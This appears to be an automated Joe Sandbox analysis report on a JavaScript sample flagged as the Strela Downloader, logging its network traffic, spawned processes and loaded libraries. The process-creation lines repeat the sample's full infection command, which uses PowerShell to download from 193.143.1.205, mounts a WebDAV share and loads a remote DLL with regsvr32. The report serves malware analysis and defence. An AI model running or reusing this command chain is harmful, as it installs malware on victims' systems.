Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49709 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2122742108.0000016183400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2182594694.00000278DC2DF000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2182390787.00000278DC288000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2178967922.00000278DC2B7000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2182466219.00000278DC2B7000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2178827767.00000278DC2DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: svchost.exe, 00000009.00000002.3409711759.0000024A41200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2189295888.0000024A41010000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 4088, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\32586295023593.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\32586295023593.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1647911459241874440.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/56@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2356:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pnzol34r.4s2.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 1647911459241874440.js

Virustotal: Detection: 12%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1647911459241874440.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\32586295023593.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1588,i,10440249036511766134,9373202045153823086,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\32586295023593.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1588,i,10440249036511766134,9373202045153823086,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
